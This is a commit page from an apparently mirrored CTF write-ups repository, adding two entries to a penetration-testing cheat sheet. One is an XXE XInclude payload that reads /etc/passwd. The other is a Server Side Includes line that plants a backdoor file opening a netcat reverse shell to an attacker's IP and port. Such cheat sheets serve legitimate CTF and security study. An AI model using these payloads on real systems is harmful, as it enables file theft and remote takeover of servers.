Mirrors/CTF-Writeups
2
0
Fork 0
mirror of https://github.com/AbdullahRizwan101/CTF-Writeups synced 2024-11-22 12:03:03 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update Cheat Sheet.md

Browse source
This commit is contained in:
ARZ 2021-12-02 14:16:06 +05:00 committed by GitHub
parent 04b4585956
commit 31f1cacbb9
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

8
Cheat Sheet.md
View file

@ -558,6 +558,14 @@ Also to check `/etc/nginx/sites-available/default`
To see list of processes running on the system we can read this file `/proc/sched_debug`
### XXE - XIncludes Attack
We can use XInclude when SOAP is being used in an application and we can't introduce DTD , so we'll have to replace a value of a paramter with <br/>
```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```
### SSI (Server Side Includes)
` echo '<!--#exec cmd="nc -e /bin/bash IP PORT" -->' > backdoor.shtml`